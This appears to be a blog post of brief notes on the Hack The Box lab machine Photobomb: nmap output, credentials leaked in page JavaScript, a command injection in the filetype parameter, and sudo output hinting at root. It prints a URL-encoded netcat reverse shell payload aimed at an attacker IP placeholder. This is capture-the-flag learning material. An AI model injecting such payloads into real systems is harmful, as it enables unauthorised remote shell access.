Monday, January 23, 2023

Notes for Photobomb on Hackthebox

Just some notes for Photobomb on Hackthebox, not a proper walkthrough.



PHOTOBOMB notes -->


nmap -sC -sV -O IP ADDRESS

PORT   STATE SERVICE VERSION

22/tcp open  ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)

|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)

|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)

80/tcp open  http nginx 1.18.0 (Ubuntu)

|_http-title: Did not follow redirect to http://photobomb.htb/

|_http-server-header: nginx/1.18.0 (Ubuntu)


added photobomb.htb to hosts


/photobomb.js link from backend of landing page


function init() {

  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me

  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {

document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');

  }

}

window.onload = init;



captured post request from image download function of /printer


command injection on filetype=


first payload attempt:

jpg;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20YOURIPHERE%209001%20%3E%2Ftmp%2Ff


it works


b8a88548a8d68cf83f9203cf********


$ sudo -l

Matching Defaults entries for wizard on photobomb:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin


User wizard may run the following commands on photobomb:

(root) SETENV: NOPASSWD: /opt/cleanup.sh


From there the path to root is clear.

Whoa! No updates?

I promised myself I'd stick with updating this blog and then I went a whole month without posting. So in lieu of a proper post, notes, o...